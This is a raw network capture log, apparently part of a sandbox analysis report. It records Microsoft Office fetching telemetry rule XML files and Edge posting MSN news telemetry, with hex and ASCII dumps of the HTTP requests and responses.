{"name":"MS.News.Web.LoadTime","time":"2024-11-15T15:16:31.079Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"ece08dfe-cbe6-47f5-b60c-989f972b389a","epoch":"2636813825"},"app":{"locale
2024-11-15 15:16:32 UTC	14675	OUT	Data Raw: 46 61 69 6c 65 64 3a 30 3b 6e 66 5f 75 73 65 72 6e 75 72 74 75 72 69 6e 67 5f 63 68 61 6e 67 65 64 5f 31 37 33 31 36 38 33 37 38 38 37 37 38 3a 30 5f 2d 31 3b 65 64 67 65 2e 6d 65 6d 3a 38 3b 65 64 67 65 2e 63 6f 6e 63 75 72 72 65 6e 63 79 3a 34 3b 65 64 67 65 2e 63 6f 6e 6e 65 63 74 69 6f 6e 3a 33 67 3b 65 64 67 65 2e 7a 6f 6f 6d 3a 31 2e 30 33 39 3b 65 64 67 65 5f 6e 74 70 2e 61 63 74 75 61 6c 57 69 64 74 68 3a 31 32 33 32 3b 65 64 67 65 5f 6e 74 70 2e 65 78 70 65 63 74 65 64 57 69 64 74 68 3a 31 32 33 32 3b 72 65 71 75 65 73 74 4d 75 69 64 3a 6e 6f 74 46 6f 75 6e 64 3b 74 72 61 63 6b 65 72 5f 73 65 6c 65 63 74 65 64 50 69 76 6f 74 3a 5c 22 6d 79 46 65 65 64 5c 22 3b 74 72 61 63 6b 65 72 5f 73 68 6f 75 6c 64 55 73 65 57 61 74 65 72 66 61 6c 6c 46 65 65 Data Ascii: Failed:0;nf_usernurturing_changed_1731683788778:0_-1;edge.mem:8;edge.concurrency:4;edge.connection:3g;edge.zoom:1.039;edge_ntp.actualWidth:1232;edge_ntp.expectedWidth:1232;requestMuid:notFound;tracker_selectedPivot:\"myFeed\";tracker_shouldUseWaterfallFee
2024-11-15 15:16:32 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a2eda4046d794bb099a233cff7f565d8&HASH=a2ed&LV=202411&V=4&LU=1731683792672; Domain=.microsoft.com; Expires=Sat, 15 Nov 2025 15:16:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=09cac0c7eaf9453eaacd339980b8ec38; Domain=.microsoft.com; Expires=Fri, 15 Nov 2024 15:46:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1589 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 15 Nov 2024 15:16:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:32 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:32 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:32 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151632Z-16547b76f7fknvdnhC1DFWxnys0000000n7000000000s95f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:32 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:32 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:32 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151632Z-16547b76f7fj5p7mhC1DFWf8w40000000nfg000000005xzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:32 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:32 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: aaf2c80b-501e-0029-80c3-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151632Z-164f84587bfpc2cvhC1DFW7gdw000000019000000000dhvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:32 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:32 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:32 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 9bf0a44d-f01e-001f-4809-375dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151632Z-164f84587bf2rt9xhC1DFW8drg000000015000000000qzvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:32 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:32 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151632Z-16547b76f7fgfpmjhC1DFWw6ec00000000zg0000000063xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49883	20.189.173.8	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:33 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683791745&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5284 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-15 15:16:33 UTC	5284	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 35 54 31 35 3a 31 36 3a 33 31 2e 37 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 63 65 30 38 64 66 65 2d 63 62 65 36 2d 34 37 66 35 2d 62 36 30 63 2d 39 38 39 66 39 37 32 62 33 38 39 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 36 38 31 33 38 32 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-15T15:16:31.744Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"ece08dfe-cbe6-47f5-b60c-989f972b389a","epoch":"2636813825"},"app":{"locale
2024-11-15 15:16:33 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=717c3bed3335488cae70d979665828fe&HASH=717c&LV=202411&V=4&LU=1731683793411; Domain=.microsoft.com; Expires=Sat, 15 Nov 2025 15:16:33 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7ba3b64fe6bb4c649363a6ea55a8f3fa; Domain=.microsoft.com; Expires=Fri, 15 Nov 2024 15:46:33 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1666 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 15 Nov 2024 15:16:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:33 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151633Z-164f84587bfjxw6fhC1DFWq94400000001q0000000000vdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:33 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 56737357-c01e-0014-3efa-36a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151633Z-164f84587bfj5xwnhC1DFW3a2800000000ug00000000sk49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49884	20.189.173.8	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:33 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683792072&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9651 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-15 15:16:33 UTC	9651	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 35 54 31 35 3a 31 36 3a 33 32 2e 30 37 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 63 65 30 38 64 66 65 2d 63 62 65 36 2d 34 37 66 35 2d 62 36 30 63 2d 39 38 39 66 39 37 32 62 33 38 39 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 36 38 31 33 38 32 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-15T15:16:32.071Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"ece08dfe-cbe6-47f5-b60c-989f972b389a","epoch":"2636813825"},"app":{"loc
2024-11-15 15:16:33 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=abe0ea1348db47aea3b975132a01ba91&HASH=abe0&LV=202411&V=4&LU=1731683793757; Domain=.microsoft.com; Expires=Sat, 15 Nov 2025 15:16:33 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=39b7e00e26dc49878b03b1a62b8f4503; Domain=.microsoft.com; Expires=Fri, 15 Nov 2024 15:46:33 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1685 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 15 Nov 2024 15:16:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:33 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151633Z-16547b76f7fgfpmjhC1DFWw6ec00000000zg0000000063zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
